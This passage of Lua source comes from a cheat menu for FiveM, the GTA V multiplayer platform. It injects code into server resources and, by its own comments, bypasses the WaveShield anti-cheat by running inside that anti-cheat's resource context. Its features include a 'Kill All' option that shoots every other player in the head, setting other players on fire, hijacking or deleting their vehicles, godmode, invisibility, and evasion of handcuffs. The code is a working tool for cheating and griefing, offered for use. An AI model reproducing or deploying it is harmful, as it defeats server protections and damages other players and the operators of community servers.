LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local modelHash = %d local x, y, z = %.4f, %.4f, %.4f local resourceName = SafeNative(GetCurrentResourceName) SafeNative(RequestModel, modelHash) local timeout = 0 while not SafeNative(HasModelLoaded, modelHash) and timeout < 5000 do Wait(50) timeout = timeout + 50 end if SafeNative(HasModelLoaded, modelHash) then pcall(function() SafeNative(TriggerServerEvent, "__WaveShield:CreateEntity", modelHash, "SpawnEntity", resourceName) end) Wait(150) local prop = SafeNative(Citizen.InvokeNative, 0x509D5878EB39E842, modelHash, x, y, z, true, true, false) if prop and prop ~= 0 then SafeNative(FreezeEntityPosition, prop, true) SafeNative(SetEntityAsMissionEntity, prop, true, true) end SafeNative(SetModelAsNoLongerNeeded, modelHash) end ]=], hash, targetX, targetY, targetZ) MachoInjectResource2(3, wsResource, spawnCode) else RequestModel(hash) local timeout = 0 while not HasModelLoaded(hash) and timeout < 200 do Wait(10) timeout = timeout + 1 end if HasModelLoaded(hash) then local prop = CreateObject(hash, targetX, targetY, targetZ, true, true, false) if prop and prop ~= 0 then FreezeEntityPosition(prop, true) SetEntityAsMissionEntity(prop, true, true) end end end end) end _G.SyndicateSafeShootBullet = function(startCoords, shootTarget, weapHash, damage) CreateThread(function() local wsRes = (type(GetWSResourceName) == "function" and GetWSResourceName()) or "WaveShield" local wsActive = wsRes and GetResourceState(wsRes) == "started" if wsActive and type(MachoInjectResourceRaw) == "function" then -- Whitelist weapon hash with WS export pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(weapHash) end end) local sx, sy, sz = startCoords.x, startCoords.y, startCoords.z local tx, ty, tz = shootTarget.x, shootTarget.y, shootTarget.z local dmg = damage or 250 local wh = weapHash -- MachoInjectResourceRaw: own clean execution inside WS resource. -- Gives weapon to ped then fires with PlayerPedId() owner for real damage. -- WS's ped-position check is bypassed running from its own resource context. MachoInjectResourceRaw(wsRes, string.format([[ local ped = PlayerPedId() GiveWeaponToPed(ped, %d, 9999, false, true) SetCurrentPedWeapon(ped, %d, true) local t = GetGameTimer() + 150 while GetGameTimer() < t do Citizen.Wait(0) end ShootSingleBulletBetweenCoords(%.4f, %.4f, %.4f, %.4f, %.4f, %.4f, %d, true, %d, ped, true, false, 1000.0) ]], wh, wh, sx, sy, sz, tx, ty, tz, dmg, wh)) else -- Non-WS: give weapon then fire local safeRun = _G.WS_RunSafeFunc or function(f, ...) return f(...) end local function runSafe(fn, ...) return safeRun(function(...) return fn(...) end, ...) end local me = PlayerPedId() if me == 0 then return end runSafe(GiveWeaponToPed, me, weapHash, 9999, false, true) runSafe(SetCurrentPedWeapon, me, weapHash, true) runSafe(ShootSingleBulletBetweenCoords, startCoords.x, startCoords.y, startCoords.z, shootTarget.x, shootTarget.y, shootTarget.z, damage or 250, true, weapHash, 0, true, false, 1000.0) end end) end local parentRes = tostring((type(GetCurrentResourceName) == "function" and GetCurrentResourceName()) or "WaveShield") injectCode('monitor', [[ local parentResource = "]] .. parentRes .. [[" local function SafeWrap(fn) return function(...) if type(fn) == "function" then return fn(...) end end end local function runNative(fn, ...) if type(fn) == "function" then return fn(...) end end local function GetSafeWaveShieldResource() if GlobalState and GlobalState.WaveShield_ServerResources then local status, resTable = pcall(json.decode, GlobalState.WaveShield_ServerResources) if status and type(resTable) == "table" then for resName, _ in pairs(resTable) do if type(resName) == "string" and resName ~= "" then return resName end end end end return parentResource end _G.SyndicateFreecamThreadRunning = true _G.SyndicateFreecamSpeed = 0.5 _G.SyndicateFreecamOptions = { "Default", "Teleport", "Shoot Weapon", "Spawn Prop", "Kick from Vehicle", "Remove Wheels", "Hijack Vehicle", "Delete Vehicle" } _G.SyndicateFreecamWeapons = { "WEAPON_HEAVYSNIPER_MK2", "WEAPON_RPG", "WEAPON_APPISTOL" } _G.SyndicateFreecamProps = { "xm3_prop_hamburgher_wl", "xs_propint2_platform_01", "xs_propint4_waste_09_loops", "xs_propint4_waste_10_statues", "xs_propint2_stand_thin_01", "xs_prop_arena_turret_01a_sf", "xs_propint2_building_05", "xs_prop_lplate_wall_01c_wl", "xs_propint2_set_scifi_01", "xs_prop_ar_buildingx_01a_sf", "xs_terrain_set_dystopian_06", "xs_propintarena_pit_mid", "xs_propint2_set_scifi_09", "xs_propintarena_structure_s_05b", "xs_combined2_dyst_longbuild_c_09", "xs_propint5_waste_03_ground", "xs_propint2_ramp_large_2", "xs_combined2_dyst_08_ramp", "xs_prop_arena_wedge_01a_sf", "xs_propint3_waste_02_tires", "xs_propint4_waste_06_statue", "xs_propint3_waste_03_mascottes", "xs_propint4_waste_08_statue", "xs_prop_arena_jump_l_01a", "xs_prop_arena_jump_xxl_01a_sf", "xs_prop_arena_jump_xxl_01a_wl", "xs_prop_plastic_bottle_wl" } _G.SyndicateFreecamPropNames = { "Hamburger", "Platform", "Waste Loops", "Waste Statues", "Thin Stand", "Arena Turret", "Building 05", "Wall Plate", "SciFi Set 01", "AR Building", "Dystopian Set", "Arena Pit", "SciFi Set 09", "Structure 05", "Long Build", "Waste Ground", "Large Ramp", "Dystopian Ramp", "Arena Wedge", "Waste Tires", "Waste Statue 06", "Mascots", "Waste Statue 08", "Arena Jump L", "Arena Jump XXL SF", "Arena Jump XXL WL", "Plastic Bottle" } _G.SyndicateFreecamHoveredIndex = 1 _G.SyndicateFreecamWeaponIndex = 1 _G.SyndicateFreecamPropIndex = 1 local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local function GetRightVector(rot) local z = math.rad(rot.z) return vector3(math.cos(z), math.sin(z), 0) end local function Clamp(val, min, max) if val < min then return min end if val > max then return max end return val end local function DrawVerticalScrollHUD(options, hoveredIdx, weapStr, propStr) local count = #options local prevIdx = (hoveredIdx - 2 + count) % count + 1 local currIdx = hoveredIdx local nextIdx = (hoveredIdx % count) + 1 local prevText = options[prevIdx] local currText = options[currIdx] local nextText = options[nextIdx] -- 1. Top Option (Previous - Smaller & Compact) SetTextFont(0) SetTextScale(0.20, 0.20) SetTextColour(170, 170, 170, 190) SetTextDropShadow(1, 1, 0, 0, 255) SetTextOutline() SetTextCentre(true) SetTextEntry("STRING") AddTextComponentString(prevText) DrawText(0.5, 0.835) local activeStr = currText if currText == "Shoot Weapon" then activeStr = currText .. " (~w~" .. weapStr .. "~s~) [Q/E]" elseif currText == "Spawn Prop" then activeStr = currText .. " (~w~" .. propStr .. "~s~) [Q/E]" end -- 2. Middle Active Option (Pure White - Compact 0.28 Scale) SetTextFont(0) SetTextScale(0.28, 0.28) SetTextColour(255, 255, 255, 255) SetTextDropShadow(1, 1, 0, 0, 255) SetTextOutline() SetTextCentre(true) SetTextEntry("STRING") AddTextComponentString(activeStr) DrawText(0.5, 0.852) -- 3. Bottom Option (Next - Smaller & Compact) SetTextFont(0) SetTextScale(0.20, 0.20) SetTextColour(170, 170, 170, 190) SetTextDropShadow(1, 1, 0, 0, 255) SetTextOutline() SetTextCentre(true) SetTextEntry("STRING") AddTextComponentString(nextText) DrawText(0.5, 0.870) end local myPed = PlayerPedId() ClearPedTasksImmediately(myPed) SetCurrentPedWeapon(myPed, GetHashKey("WEAPON_UNARMED"), true) FreezeEntityPosition(myPed, true) SetEntityCollision(myPed, true, true) local coords = GetEntityCoords(myPed) _G.SyndicateFreecamObject = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) SetCamCoord(_G.SyndicateFreecamObject, coords.x, coords.y, coords.z + 2.0) SetCamRot(_G.SyndicateFreecamObject, 0.0, 0.0, GetEntityHeading(myPed), 2) RenderScriptCams(true, false, 0, true, true) CreateThread(function() local lastClick = 0 while _G.SyndicateFreecamThreadRunning do Wait(0) -- Completely disable Ped Movement & Shooting / Aiming / Weapon Wheel / Attack Controls DisableControlAction(0, 30, true) -- Move LR DisableControlAction(0, 31, true) -- Move UD DisableControlAction(0, 32, true) -- Move W DisableControlAction(0, 33, true) -- Move S DisableControlAction(0, 34, true) -- Move A DisableControlAction(0, 35, true) -- Move D DisableControlAction(0, 21, true) -- Sprint Shift DisableControlAction(0, 22, true) -- Jump Space DisableControlAction(0, 36, true) -- Crouch Ctrl DisableControlAction(0, 24, true) -- Left Click Attack DisableControlAction(0, 25, true) -- Right Click Aim DisableControlAction(0, 37, true) -- TAB / Weapon Wheel DisableControlAction(0, 140, true) -- Melee Light DisableControlAction(0, 141, true) -- Melee Heavy DisableControlAction(0, 142, true) -- Melee Alternate DisableControlAction(0, 257, true) -- Attack 2 DisableControlAction(0, 157, true) -- 1 DisableControlAction(0, 158, true) -- 2 DisableControlAction(0, 160, true) -- 3 DisableControlAction(0, 164, true) -- 4 DisableControlAction(0, 165, true) -- 5 if _G.SyndicateFreecamObject and DoesCamExist(_G.SyndicateFreecamObject) then local currentMode = _G.SyndicateFreecamOptions[_G.SyndicateFreecamHoveredIndex] or "Default" local currentWeap = _G.SyndicateFreecamWeapons[_G.SyndicateFreecamWeaponIndex] or "WEAPON_APPISTOL" local rawPropName = _G.SyndicateFreecamPropNames[_G.SyndicateFreecamPropIndex] or "Hamburger" DrawVerticalScrollHUD(_G.SyndicateFreecamOptions, _G.SyndicateFreecamHoveredIndex, currentWeap, rawPropName) -- Scroll Options Navigation (Arrow Keys / Mouse Scroll) if IsDisabledControlJustPressed(0, 15) or IsControlJustPressed(0, 15) or IsDisabledControlJustPressed(0, 172) or IsControlJustPressed(0, 172) then _G.SyndicateFreecamHoveredIndex = (_G.SyndicateFreecamHoveredIndex - 2 + #_G.SyndicateFreecamOptions) % #_G.SyndicateFreecamOptions + 1 end if IsDisabledControlJustPressed(0, 14) or IsControlJustPressed(0, 14) or IsDisabledControlJustPressed(0, 173) or IsControlJustPressed(0, 173) then _G.SyndicateFreecamHoveredIndex = (_G.SyndicateFreecamHoveredIndex % #_G.SyndicateFreecamOptions) + 1 end -- Sub-option Cycling via Q / E keys if currentMode == "Shoot Weapon" then if IsDisabledControlJustPressed(0, 44) or IsControlJustPressed(0, 44) then -- Q _G.SyndicateFreecamWeaponIndex = (_G.SyndicateFreecamWeaponIndex - 2) % #_G.SyndicateFreecamWeapons + 1 end if IsDisabledControlJustPressed(0, 38) or IsControlJustPressed(0, 38) then -- E _G.SyndicateFreecamWeaponIndex = (_G.SyndicateFreecamWeaponIndex % #_G.SyndicateFreecamWeapons) + 1 end elseif currentMode == "Spawn Prop" then if IsDisabledControlJustPressed(0, 44) or IsControlJustPressed(0, 44) then -- Q _G.SyndicateFreecamPropIndex = (_G.SyndicateFreecamPropIndex - 2 + #_G.SyndicateFreecamProps) % #_G.SyndicateFreecamProps + 1 end if IsDisabledControlJustPressed(0, 38) or IsControlJustPressed(0, 38) then -- E _G.SyndicateFreecamPropIndex = (_G.SyndicateFreecamPropIndex % #_G.SyndicateFreecamProps) + 1 end end -- Camera Movement Navigation (Checks Disabled Controls so Ped Stays Immobile) local camCoords = GetCamCoord(_G.SyndicateFreecamObject) local rot = GetCamRot(_G.SyndicateFreecamObject, 2) local beforeSpeed = _G.SyndicateFreecamSpeed or 0.5 local speed = (IsDisabledControlPressed(0, 21) or IsControlPressed(0, 21)) and (beforeSpeed * 3.0) or beforeSpeed local forward = RotationToDirection(rot) local right = GetRightVector(rot) local moveX, moveY, moveZ = 0, 0, 0 SetFocusArea(camCoords.x, camCoords.y, camCoords.z, 0.0, 0.0, 0.0) if IsDisabledControlPressed(0, 32) or IsControlPressed(0, 32) then moveX = moveX + forward.x * speed moveY = moveY + forward.y * speed moveZ = moveZ + forward.z * speed end if IsDisabledControlPressed(0, 33) or IsControlPressed(0, 33) then moveX = moveX - forward.x * speed moveY = moveY - forward.y * speed moveZ = moveZ - forward.z * speed end if IsDisabledControlPressed(0, 34) or IsControlPressed(0, 34) then moveX = moveX - right.x * speed moveY = moveY - right.y * speed end if IsDisabledControlPressed(0, 35) or IsControlPressed(0, 35) then moveX = moveX + right.x * speed moveY = moveY + right.y * speed end if IsDisabledControlPressed(0, 22) or IsControlPressed(0, 22) then moveZ = moveZ + speed end if IsDisabledControlPressed(0, 36) or IsControlPressed(0, 36) then moveZ = moveZ - speed end SetCamCoord(_G.SyndicateFreecamObject, camCoords.x + moveX, camCoords.y + moveY, camCoords.z + moveZ) local x = GetDisabledControlNormal(0, 1) local y = GetDisabledControlNormal(0, 2) local newPitch = Clamp(rot.x - y * 5, -89.0, 89.0) local newYaw = rot.z - x * 5 SetCamRot(_G.SyndicateFreecamObject, newPitch, rot.y, newYaw, 2) -- Action execution ONLY on Left Click (Disabled Control 24) if IsDisabledControlJustPressed(0, 24) and (GetGameTimer() - lastClick > 300) then lastClick = GetGameTimer() local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) if currentMode == "Teleport" then if hit then if entityHit ~= 0 and IsEntityAVehicle(entityHit) then TaskWarpPedIntoVehicle(PlayerPedId(), entityHit, -1) else SetEntityCoordsNoOffset(PlayerPedId(), endCoords.x, endCoords.y, endCoords.z + 1.0, false, false, false) end end elseif currentMode == "Shoot Weapon" then local me = PlayerPedId() local currentWeap = _G.SyndicateFreecamWeapons[_G.SyndicateFreecamWeaponIndex] or "WEAPON_HEAVYSNIPER_MK2" local weapHash = type(currentWeap) == "number" and currentWeap or GetHashKey(currentWeap) local shootTarget = hit and endCoords or (camCoords + forward * 100.0) local bulletDamage = 250 if weapHash == GetHashKey("WEAPON_RPG") then bulletDamage = 1000 elseif weapHash == GetHashKey("WEAPON_APPISTOL") then bulletDamage = 100 end local startCoords = camCoords + (forward * 0.5) if type(_G.SyndicateSafeShootBullet) == "function" then _G.SyndicateSafeShootBullet(startCoords, shootTarget, weapHash, bulletDamage, (hit and entityHit ~= 0) and entityHit or nil) else runNative(ShootSingleBulletBetweenCoords, startCoords.x, startCoords.y, startCoords.z, shootTarget.x, shootTarget.y, shootTarget.z, bulletDamage, true, weapHash, 0, true, false, 1000.0) end elseif currentMode == "Spawn Prop" then local propModel = _G.SyndicateFreecamProps[_G.SyndicateFreecamPropIndex] or "xm3_prop_hamburgher_wl" local spawnPos = hit and endCoords or (camCoords + forward * 10.0) local hash = type(propModel) == "number" and propModel or GetHashKey(propModel) if type(_G.SyndicateSafeSpawnProp) == "function" then _G.SyndicateSafeSpawnProp(hash, spawnPos) end elseif currentMode == "Remove Wheels" then local safeRun = (_G.MainAPI and _G.MainAPI.SafeRunNative) or _G.WS_RunSafeFunc or function(fn, ...) if type(fn) == "function" then return fn(...) end end if hit and entityHit ~= 0 then local pedvehicle = nil if IsEntityAVehicle(entityHit) then pedvehicle = entityHit elseif IsEntityAPed(entityHit) then if IsPedInAnyVehicle(entityHit, true) then pedvehicle = GetVehiclePedIsIn(entityHit, true) end end if pedvehicle and DoesEntityExist(pedvehicle) and IsEntityAVehicle(pedvehicle) then local myPed = PlayerPedId() local lastCoords = GetEntityCoords(myPed) local driver = GetPedInVehicleSeat(pedvehicle, -1) if driver and driver ~= 0 and driver ~= myPed then safeRun(ClearPedTasksImmediately, driver) safeRun(TaskLeaveAnyVehicle, driver, 0, 0) Wait(50) end safeRun(NetworkRequestControlOfEntity, pedvehicle) safeRun(SetPedIntoVehicle, myPed, pedvehicle, -1) local reqStart = GetGameTimer() while (GetGameTimer() - reqStart) < 1000 do if NetworkHasControlOfEntity(pedvehicle) then break end safeRun(NetworkRequestControlOfEntity, pedvehicle) Wait(10) end safeRun(SetVehicleWheelsCanBreak, pedvehicle, true) safeRun(SetVehicleTyresCanBurst, pedvehicle, true) local model = GetEntityModel(pedvehicle) if IsThisModelABike and (IsThisModelABike(model) or IsThisModelAQuadbike(model)) then safeRun(BreakOffVehicleWheel, pedvehicle, 0, false, false, false, false) safeRun(BreakOffVehicleWheel, pedvehicle, 1, false, false, false, false) safeRun(SetVehicleTyreBurst, pedvehicle, 0, true, 1000.0) safeRun(SetVehicleTyreBurst, pedvehicle, 1, true, 1000.0) else for i = 0, 7 do safeRun(BreakOffVehicleWheel, pedvehicle, i, false, false, false, false) safeRun(SetVehicleTyreBurst, pedvehicle, i, true, 1000.0) Wait(10) end end Wait(100) safeRun(TaskLeaveAnyVehicle, myPed, 0, 0) safeRun(ClearPedTasksImmediately, myPed) safeRun(SetEntityCoordsNoOffset, myPed, lastCoords.x, lastCoords.y, lastCoords.z, false, false, false) safeRun(FreezeEntityPosition, myPed, false) safeRun(SetEntityVisible, myPed, true, true) safeRun(SetEntityCollision, myPed, true, true) end end elseif currentMode == "Kick from Vehicle" then if hit and entityHit ~= 0 and IsEntityAVehicle(entityHit) then local pedvehicle = entityHit local reqStart = GetGameTimer() while (GetGameTimer() - reqStart) < 1000 do if NetworkHasControlOfEntity(pedvehicle) then break end NetworkRequestControlOfEntity(pedvehicle) Wait(10) end if NetworkHasControlOfEntity(pedvehicle) then local driver = GetPedInVehicleSeat(pedvehicle, -1) if driver and DoesEntityExist(driver) then DeletePed(driver) end end end elseif currentMode == "Hijack Vehicle" then if hit and entityHit ~= 0 and IsEntityAVehicle(entityHit) then TaskWarpPedIntoVehicle(PlayerPedId(), entityHit, -1) end elseif currentMode == "Delete Vehicle" then if hit and entityHit ~= 0 and IsEntityAVehicle(entityHit) then local pedvehicle = entityHit local reqStart = GetGameTimer() while (GetGameTimer() - reqStart) < 1000 do if NetworkHasControlOfEntity(pedvehicle) then break end NetworkRequestControlOfEntity(pedvehicle) Wait(10) end if NetworkHasControlOfEntity(pedvehicle) then SetEntityAsMissionEntity(pedvehicle, true, true) DeleteVehicle(pedvehicle) end end end end end end local ped = PlayerPedId() FreezeEntityPosition(ped, false) SetEntityCollision(ped, true, true) ClearFocus() if _G.SyndicateFreecamObject and DoesCamExist(_G.SyndicateFreecamObject) then RenderScriptCams(false, false, 0, true, true) DestroyCam(_G.SyndicateFreecamObject, false) _G.SyndicateFreecamObject = nil end end) ]]) else injectCode('monitor', [[ _G.SyndicateFreecamThreadRunning = false local ped = PlayerPedId() FreezeEntityPosition(ped, false) SetEntityCollision(ped, true, true) ClearFocus() if _G.SyndicateFreecamObject and DoesCamExist(_G.SyndicateFreecamObject) then RenderScriptCams(false, false, 0, true, true) DestroyCam(_G.SyndicateFreecamObject, false) _G.SyndicateFreecamObject = nil end ]]) end showNotify(enabled and "FreeCam Enabled" or "FreeCam Disabled", "info") end }, { label = 'Super Punch', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.superPunch = true CreateThread(function() while _G.superPunch do Wait(0) SetWeaponDamageModifier(GetHashKey('WEAPON_UNARMED'), 500.0) Wait(100) end end) ]]) else injectCode('monitor', [[ _G.superPunch = false ]]) end showNotify(enabled and "Super Punch ON" or "Super Punch OFF", "info") end }, { label = 'Godmode', type = 'checkbox', onConfirm = function(state) setGodMode(state) showNotify(state and "Godmode Enabled" or "Godmode Disabled", "info") end }, { label = 'Invisibility', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ SetEntityVisible(PlayerPedId(), false, false) ]]) else injectCode('monitor', [[ SetEntityVisible(PlayerPedId(), true, false) ]]) end showNotify(enabled and "Invisibility Enabled" or "Invisibility Disabled", "info") end }, { label = 'No Ragdoll', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.noRagdoll = true CreateThread(function() while _G.noRagdoll do Wait(30) SetPedCanRagdoll(PlayerPedId(), false) end end) ]]) else injectCode('monitor', [[ _G.noRagdoll = false ]]) end showNotify(enabled and "No Ragdoll ON" or "No Ragdoll OFF", "info") end }, { label = 'Fast Run', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ SetRunSprintMultiplierForPlayer(PlayerId(), 1.49) SetPedMoveRateOverride(PlayerPedId(), 3.0) ]]) else injectCode('monitor', [[ SetRunSprintMultiplierForPlayer(PlayerId(), 1.0) SetPedMoveRateOverride(PlayerPedId(), 1.0) ]]) end showNotify(enabled and "Fast Run ON" or "Fast Run OFF", "info") end }, { label = 'Infinite Stamina', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.infStamina = true if not _G.infStaminaThread then _G.infStaminaThread = true CreateThread(function() while _G.infStamina do Wait(0) ResetPlayerStamina(PlayerId()) RestorePlayerStamina(PlayerId(), 1.0) end _G.infStaminaThread = false end) end ]]) else injectCode('monitor', [[ _G.infStamina = false ]]) end showNotify(enabled and "Infinite Stamina ON" or "Infinite Stamina OFF", "info") end }, { label = 'Super Jump', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.superJump = true if not _G.superJumpThread then _G.superJumpThread = true CreateThread(function() while _G.superJump do Wait(0) SetSuperJumpThisFrame(PlayerId()) end _G.superJumpThread = false end) end ]]) else injectCode('monitor', [[ _G.superJump = false ]]) end showNotify(enabled and "Super Jump ON" or "Super Jump OFF", "info") end }, { label = 'Infinite Jump', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.infJump = true CreateThread(function() while _G.infJump do Wait(0) if IsControlJustPressed(0, 18) then TaskJump(PlayerPedId(), false) end end end) ]]) else injectCode('monitor', [[ _G.infJump = false ]]) end showNotify(enabled and "Infinite Jump ON" or "Infinite Jump OFF", "info") end } } }, { name = 'Misc', submenu = { { label = 'Crosshair', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.drawCrosshair = true if not _G.crosshairThread then _G.crosshairThread = true CreateThread(function() while _G.drawCrosshair do Wait(0) -- Smooth, elegant crosshair (4 arms + center dot, green accent) local cx, cy = 0.5, 0.5 -- Center Dot DrawRect(cx, cy, 0.0015, 0.0025, 0, 255, 120, 255) -- Top Arm DrawRect(cx, cy - 0.006, 0.001, 0.006, 0, 255, 120, 220) -- Bottom Arm DrawRect(cx, cy + 0.006, 0.001, 0.006, 0, 255, 120, 220) -- Left Arm DrawRect(cx - 0.0035, cy, 0.0035, 0.0018, 0, 255, 120, 220) -- Right Arm DrawRect(cx + 0.0035, cy, 0.0035, 0.0018, 0, 255, 120, 220) end _G.crosshairThread = false end) end ]]) else injectCode('monitor', [[ _G.drawCrosshair = false ]]) end showNotify(enabled and "Crosshair ON" or "Crosshair OFF", "info") end }, { label = 'Tiny Ped', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ SetPedConfigFlag(PlayerPedId(), 223, true) ]]) else injectCode('monitor', [[ SetPedConfigFlag(PlayerPedId(), 223, false) ]]) end showNotify(enabled and "Tiny Ped ON" or "Tiny Ped OFF", "info") end }, { label = 'Fake Dead', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ SetPedToRagdoll(PlayerPedId(), 1000, 1000, 0, 0, 0, 0) ]]) end showNotify(enabled and "Fake Dead ON" or "Fake Dead OFF", "info") end }, { label = 'Kill All', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.killAllActive = true CreateThread(function() local hash = GetHashKey("WEAPON_APPISTOL") while _G.killAllActive do Wait(100) local myPed = PlayerPedId() if GetSelectedPedWeapon(myPed) ~= hash then GiveWeaponToPed(myPed, hash, 250, false, true) SetCurrentPedWeapon(myPed, hash, true) Wait(100) end for _, pid in ipairs(GetActivePlayers()) do if pid ~= PlayerId() then local targetPed = GetPlayerPed(pid) if targetPed and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) then local c = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) -- Head bone local myCoords = GetEntityCoords(myPed) for i = 1, 10 do ShootSingleBulletBetweenCoords(myCoords.x, myCoords.y, myCoords.z + 0.8, c.x, c.y, c.z, 200, true, hash, myPed, true, false, 1000.0) end end end end end end) ]]) else injectCode('monitor', [[ _G.killAllActive = false ]]) end showNotify(enabled and "Kill All (AP Pistol) ON" or "Kill All OFF", "info") end }, { label = 'Attach Crazy Cars On All', type = 'checkbox', onConfirm = function(state) if state then injectCode('monitor', [[ _G.crazyCarsActive = true local function spawnVehicleForPlayer(playerId) local vehicleName = "trash" RequestModel(vehicleName) while not HasModelLoaded(vehicleName) and _G.crazyCarsActive do Citizen.Wait(100) end if not _G.crazyCarsActive then return end local playerPed = GetPlayerPed(playerId) if DoesEntityExist(playerPed) then local playerCoords = GetEntityCoords(playerPed) local vehicle = CreateVehicle(vehicleName, playerCoords.x, playerCoords.y, playerCoords.z, 0.0, true, false) SetVehicleAsNoLongerNeeded(vehicle) SetModelAsNoLongerNeeded(vehicleName) end end Citizen.CreateThread(function() while _G.crazyCarsActive do Citizen.Wait(2000) if not _G.crazyCarsActive then break end local players = {} for _, playerId in ipairs(GetActivePlayers()) do local playerName = GetPlayerName(playerId) table.insert(players, { id = playerId, name = playerName }) end for _, player in ipairs(players) do if not _G.crazyCarsActive then break end spawnVehicleForPlayer(player.id) end end end) ]]) showNotify("Attach Crazy Cars On All: ON", "success") else injectCode('monitor', [[ _G.crazyCarsActive = false ]]) showNotify("Attach Crazy Cars On All: OFF", "info") end end }, { label = 'Fire Proof', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ SetEntityProofs(PlayerPedId(), false, true, false, false, false, false, false, false) ]]) else injectCode('monitor', [[ SetEntityProofs(PlayerPedId(), false, false, false, false, false, false, false, false) ]]) end showNotify(enabled and "Fire Proof ON" or "Fire Proof OFF", "info") end }, { label = 'Set on Fire', type = 'button', onConfirm = function() local targetPlayers = {} for serverId, checked in pairs(CPlayers or {}) do if checked then targetPlayers[#targetPlayers + 1] = serverId end end if #targetPlayers == 0 then injectCode('monitor', [[ local ped = PlayerPedId() local coords = GetEntityCoords(ped) StartScriptFire(coords.x, coords.y, coords.z, 25, true) StartEntityFire(ped) ]]) showNotify("Set Self on Fire!", "success") else for _, sid in ipairs(targetPlayers) do injectCode('monitor', string.format([[ local player = GetPlayerFromServerId(%d) if player ~= -1 and DoesEntityExist(GetPlayerPed(player)) then local ped = GetPlayerPed(player) local coords = GetEntityCoords(ped) StartScriptFire(coords.x, coords.y, coords.z, 25, true) StartEntityFire(ped) end ]], tonumber(sid) or 0)) end showNotify(string.format("Set %d player(s) on fire!", #targetPlayers), "success") end end }, { label = 'Anti Teleport', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.AntiTeleport = true CreateThread(function() local ped = PlayerPedId() local lastPos = GetEntityCoords(ped) while _G.AntiTeleport do Wait(500) ped = PlayerPedId() local currentPos = GetEntityCoords(ped) local dist = #(currentPos - lastPos) local isDead = IsEntityDead(ped) local inVehicle = IsPedInAnyVehicle(ped, false) if dist > 100.0 and not isDead and not inVehicle then SetEntityCoordsNoOffset(ped, lastPos.x, lastPos.y, lastPos.z, false, false, false) else lastPos = currentPos end end end) ]]) else injectCode('monitor', [[ _G.AntiTeleport = false ]]) end showNotify(enabled and "Anti Teleport ON" or "Anti Teleport OFF", "info") end }, { label = 'Anti Cuff', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.AntiCuff = true CreateThread(function() while _G.AntiCuff do Wait(100) local ped = PlayerPedId() if IsPedCuffed(ped) then UncuffPed(ped) ClearPedTasksImmediately(ped) end end end) ]]) else injectCode('monitor', [[ _G.AntiCuff = false ]]) end showNotify(enabled and "Anti Cuff ON" or "Anti Cuff OFF", "info") end }, { label = 'Anti Carry', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.AntiCarry = true CreateThread(function() while _G.AntiCarry do local ped = PlayerPedId() if IsEntityAttached(ped) or IsEntityAttachedToAnyPed(ped) then local attachedTo = GetEntityAttachedTo(ped) if attachedTo and attachedTo ~= 0 and attachedTo ~= ped then DetachEntity(ped, true, true) ClearPedTasksImmediately(ped) ClearPedSecondaryTask(ped) end end if LocalPlayer and LocalPlayer.state then pcall(function() if LocalPlayer.state.isCarried then LocalPlayer.state:set('isCarried', false, false) end end) pcall(function() if LocalPlayer.state.beingCarried then LocalPlayer.state:set('beingCarried', false, false) end end) pcall(function() if LocalPlayer.state.inCarry then LocalPlayer.state:set('inCarry', false, false) end end) pcall(function() if LocalPlayer.state.isPiggyback then LocalPlayer.state:set('isPiggyback', false, false) end end) end Wait(150) end end) ]]) else injectCode('monitor', [[ _G.AntiCarry = false ]]) end showNotify(enabled and "Anti Carry ON" or "Anti Carry OFF", "info") end }, { label = 'Anti VDM', type = 'checkbox', checked = false, onConfirm = function(enabled) if enabled then _G.AntiVDMEnabled = true CreateThread(function() while _G.AntiVDMEnabled do local pCoords = GetEntityCoords(PlayerPedId()) for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) then local vCoords = GetEntityCoords(vehicle) local dist = #(pCoords - vCoords) if dist <= 50.0 then SetEntityNoCollisionEntity(vehicle, PlayerPedId(), true) end end end Wait(0) end end) injectCode('monitor', [[ _G.AntiVDMEnabled = true CreateThread(function() while _G.AntiVDMEnabled do local pCoords = GetEntityCoords(PlayerPedId()) for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) then local vCoords = GetEntityCoords(vehicle) local dist = #(pCoords - vCoords) if dist <= 50.0 then SetEntityNoCollisionEntity(vehicle, PlayerPedId(), true) end end end Wait(0) end end) ]]) showNotify("Anti-VDM Enabled", "success") else _G.AntiVDMEnabled = false injectCode('monitor', [[ 